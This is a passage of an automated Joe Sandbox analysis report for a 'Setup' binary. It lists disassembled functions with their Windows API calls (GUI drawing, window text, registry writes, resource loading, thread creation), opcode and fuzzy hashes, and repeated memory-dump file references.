Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Resource$Exception@8FindFreeGlobalLoadLockThrow
String ID:
API String ID: 1384747273-0
Opcode ID: bf2868643b218c09b4dd7b130eb234ee6b8c89a687ac9f1e516fb4ffe0461433
Instruction ID: 6063b126fb7a214ee3882a76608844590aff3fa269b99fdb760e449d6b9d4818
Opcode Fuzzy Hash: bf2868643b218c09b4dd7b130eb234ee6b8c89a687ac9f1e516fb4ffe0461433
Instruction Fuzzy Hash: 4D11BE35200700AFCB22BF65C888B6ABBE4EF80360F1580AEE84583261DF74DC02CB15

Function 00B95E68 Relevance: 6.1, APIs: 4, Instructions: 61windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B754A8: GetDlgItem.USER32(?,?), ref: 00B754B9

GetWindowLongW.USER32(?,000000F0), ref: 00B95E85
GetWindowTextLengthW.USER32(?), ref: 00B95EAE
GetWindowTextW.USER32(?,00000000,00000100), ref: 00B95EDE
SendMessageW.USER32(?,0000014D,000000FF,?), ref: 00B95EFE

Part of subcall function 00B782B1: GetWindowTextW.USER32(00000000,?,00000100), ref: 00B78307
Part of subcall function 00B782B1: lstrcmpW.KERNEL32(?,00B96195), ref: 00B78319
Part of subcall function 00B782B1: SetWindowTextW.USER32(00000000,00B96195), ref: 00B78325

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Window$Text$ItemLengthLongMessageSendlstrcmp
String ID:
API String ID: 4153035386-0
Opcode ID: 73989782dad2c9adda8dd9adbe9824881d9e8d06b09c4f765066fee134685944
Instruction ID: 67417105123b1f28bb82306371c96df93d3f5b1c854523d66d9dce067ab32e61
Opcode Fuzzy Hash: 73989782dad2c9adda8dd9adbe9824881d9e8d06b09c4f765066fee134685944
Instruction Fuzzy Hash: FB118B31500815FBCF22AF54CC06FADBBA6EF44320F2042A5F825A22E1CB729F50AB50

Function 00B70A3B Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

GetObjectW.GDI32(?,0000000C,?), ref: 00B70A86
SetBkColor.GDI32(?,?), ref: 00B70A90
GetSysColor.USER32(00000008), ref: 00B70AA0
SetTextColor.GDI32(?,?), ref: 00B70AA8

Part of subcall function 00B784E4: GetWindowLongW.USER32(?,000000F0), ref: 00B784FF
Part of subcall function 00B784E4: GetClassNameW.USER32(?,?,0000000A), ref: 00B78514
Part of subcall function 00B784E4: CompareStringW.KERNEL32(0000007F,00000001,?,000000FF,combobox,000000FF,?,00B70A7B,?,?), ref: 00B7852B

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Color$ClassCompareLongNameObjectStringTextWindow
String ID:
API String ID: 3274569906-0
Opcode ID: 221dd3654c0b3e436ff404e09a9f86637eb0d845f1d5f1d21a8b748a07602b8d
Instruction ID: 65cec8c33bd1c2adf5b7f8132484090c997a21f55c3976a9650cc44b13331bb0
Opcode Fuzzy Hash: 221dd3654c0b3e436ff404e09a9f86637eb0d845f1d5f1d21a8b748a07602b8d
Instruction Fuzzy Hash: ED016132A11705EBCB20EF789D45AAF77F8EF45310F148556F929D6290CB30DD018761

Function 00B67C6E Relevance: 6.1, APIs: 4, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegSetValueExW.ADVAPI32(00000000,?,00000000,00000004,?,00000004,?,00000000), ref: 00B67CA9
RegCloseKey.ADVAPI32(00000000), ref: 00B67CB2
swprintf.LIBCMT ref: 00B67CCF
WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 00B67CE0

Part of subcall function 00B67A56: RegCloseKey.ADVAPI32(00000000,?,?,?,?,00B67885,?,00000000), ref: 00B67A9B

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Close$PrivateProfileStringValueWriteswprintf
String ID:
API String ID: 581541481-0
Opcode ID: cc06031ba4d303a58d9b56a4858e0f7e69083c6bbb533da51740734486358cd6
Instruction ID: ce31dea8f2876a60d9aeec32cd5540a23fbd5b06bbb7b3a5b09b5cde6b3b5469
Opcode Fuzzy Hash: cc06031ba4d303a58d9b56a4858e0f7e69083c6bbb533da51740734486358cd6
Instruction Fuzzy Hash: 16018472544208BBDB109F649D85FAEB3FCEF48B08F10046AFA01E7290EB74ED019B61

Function 00B8F579 Relevance: 6.1, APIs: 4, Instructions: 55fileCOMMON

Download Yara Rule

APIs

SetActiveWindow.USER32(?), ref: 00B8F595
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00B8F5A8
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00B8F5D6
DragFinish.SHELL32(?), ref: 00B8F60B

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Drag$FileQuery$ActiveFinishWindow
String ID:
API String ID: 892977027-0
Opcode ID: 641452ec77d6286faef4eabe61814655b6f9be5164701e4a5bb1c9f56f8ffe93
Instruction ID: 036c926636b4d0986ee8d2c686c0cd3b8ff93a0db7bce421350f213592fe8f68
Opcode Fuzzy Hash: 641452ec77d6286faef4eabe61814655b6f9be5164701e4a5bb1c9f56f8ffe93
Instruction Fuzzy Hash: 95115475901218ABCB10EF25DD8CE9E7BB8FF95711F1001E5F51997291CB349E41CB61

Function 00CAEA00 Relevance: 6.1, APIs: 4, Instructions: 55threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,?,00CAE8A0,00000000,00000004,00000000), ref: 00CAEA4F
GetLastError.KERNEL32(?,?,?,00BFE261,00BFE2B0,00000000,00000000,?,?,?,00BA0E6D,00000001), ref: 00CAEA5B
__dosmaperr.LIBCMT ref: 00CAEA62
ResumeThread.KERNEL32(00000000,?,?,?,00BFE261,00BFE2B0,00000000,00000000,?,?,?,00BA0E6D,00000001), ref: 00CAEA7F

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Thread$CreateErrorLastResume__dosmaperr
String ID:
API String ID: 173952441-0
Opcode ID: 1d2877ac99264b36a8104008dd2e64915d46fc7f66458f8ff841be615e1dde5d
Instruction ID: 45e3038f83a04261ca59795e149aa720b875a0573954f48e342d49e95e2bdb04
Opcode Fuzzy Hash: 1d2877ac99264b36a8104008dd2e64915d46fc7f66458f8ff841be615e1dde5d
Instruction Fuzzy Hash: 8001C832811209ABD7109B65CC05BEE7F68FF83339F204219F524860D0DB708E41A7E1

Function 00B6BD65 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B6BD6C
BeginPaint.USER32(?,?,00000004,00B71A23), ref: 00B6BD98
__EH_prolog3.LIBCMT ref: 00B6BDC1
CreatePen.GDI32(?,?,?), ref: 00B6BDE2

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: H_prolog3$BeginCreatePaint
String ID:
API String ID: 3507124140-0
Opcode ID: f0fb1532500b003f6b0991172236426837de01d771e162a1574c9bf46acd768a
Instruction ID: 2c99c8a904133695a0ef82bb10c99e78e61f8417e521279b5267a5ca3212062a
Opcode Fuzzy Hash: f0fb1532500b003f6b0991172236426837de01d771e162a1574c9bf46acd768a
Instruction Fuzzy Hash: 09117CB0600615AFCB25EF64C801B5E7BF0BF04701F00895EB589C7741CB34DA40CB99

Function 00B9DFC7 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

InflateRect.USER32(?,00000002,00000002), ref: 00B9E006
InvalidateRect.USER32(?,?,00000001), ref: 00B9E01A
UpdateWindow.USER32(?), ref: 00B9E023
SetRectEmpty.USER32(?), ref: 00B9E02A

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Rect$EmptyInflateInvalidateUpdateWindow
String ID:
API String ID: 3040190709-0
Opcode ID: 20e8bccba9de450fc9aeb96c29ffb3576579b20f67fe41e0f969a882f5e8475f
Instruction ID: e486c8fb4a792124da5c9c6b0bac79970f2d514b68f6df5ba6e5cc08208dddda
Opcode Fuzzy Hash: 20e8bccba9de450fc9aeb96c29ffb3576579b20f67fe41e0f969a882f5e8475f
Instruction Fuzzy Hash: 03018B31501209AFDB10DF68DC8AFAF7BF8FB49320F110269A416E72A1D7705A05CB60

Function 00B73041 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

GetTopWindow.USER32(00000000), ref: 00B73048
GetTopWindow.USER32(00000000), ref: 00B7308B
GetWindow.USER32(00000000,00000002), ref: 00B730AD

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: 1ab435cb98b8c81fd5a909504b870c14b776ad41cfdc1f56b3af7c7a995cc73c
Instruction ID: 1c732b8e92414fd96f6d694a6f6467f94d322aa071bddde1d7ffe3b486ddd59f
Opcode Fuzzy Hash: 1ab435cb98b8c81fd5a909504b870c14b776ad41cfdc1f56b3af7c7a995cc73c
Instruction Fuzzy Hash: C901A572001559BBCF226F90ED09FDE3BA6FF05751F048095FA2964060C736CA71EBA2

Function 00B70512 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00B7051C
GetTopWindow.USER32(00000000), ref: 00B70529

Part of subcall function 00B70512: GetWindow.USER32(00000000,00000002), ref: 00B70578

GetTopWindow.USER32(?), ref: 00B7055D

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Window$Item
String ID:
API String ID: 369458955-0
Opcode ID: fda96bb4fa9a6a2f50023d614dde49d5ac53bfe7dc7844de677242b334bc9f1e
Instruction ID: cd2d76de87c28e4e17be0792c21c96d3ae582e36eb0103a89489d4444256d3b0
Opcode Fuzzy Hash: fda96bb4fa9a6a2f50023d614dde49d5ac53bfe7dc7844de677242b334bc9f1e
Instruction Fuzzy Hash: 84014F31421615FBDF223F60DC89B9E3BE5EF20395F00C092FD29A4121D771CA10AE95

Function 00B703EC Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(?,?,000000F0), ref: 00B70410
LoadResource.KERNEL32(?,00000000), ref: 00B7041C
LockResource.KERNEL32(00000000), ref: 00B70429
FreeResource.KERNEL32(00000000,00000000), ref: 00B70445

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: 71ed08fa3013b115dc11a07eee5fbf6d3be16db6e304db621347c69a4664e00e
Instruction ID: df627f4e8a97d4ca7703052fa8c1f1812e2d93af8b60730bdc789ba32045f446
Opcode Fuzzy Hash: 71ed08fa3013b115dc11a07eee5fbf6d3be16db6e304db621347c69a4664e00e
Instruction Fuzzy Hash: F9F0C232602221AB87126B699C84B6FBBFCEF44B507048066FA19E3311CA34CD0186E2

Function 00B75DA6 Relevance: 6.0, APIs: 4, Instructions: 41windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00B75DB4
GetParent.USER32(?), ref: 00B75DC7
GetParent.USER32(?), ref: 00B75DE1
SetFocus.USER32(?,00000000), ref: 00B75DFA

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Parent$Focus
String ID:
API String ID: 384096180-0
Opcode ID: 503471d8c7e69481f2a17bd4c6a220697e079dd1cf2c592d5db7ee6f9ec85009
Instruction ID: 30bebab68e838eca7f43148ffef5d23915e83255cd59c51f23d875698b174620
Opcode Fuzzy Hash: 503471d8c7e69481f2a17bd4c6a220697e079dd1cf2c592d5db7ee6f9ec85009
Instruction Fuzzy Hash: 1AF06D72A11A009BCA213BB0DD1CA2E77F9FF8430270545AAB6AAC3270DF64D9008B51

Function 00B6B19C Relevance: 6.0, APIs: 4, Instructions: 37COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(?,?,00000005), ref: 00B6B1B6
LoadResource.KERNEL32(?,00000000), ref: 00B6B1BE
LockResource.KERNEL32(00000000), ref: 00B6B1CB
FreeResource.KERNEL32(00000000,00000000,?,?), ref: 00B6B1E3

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

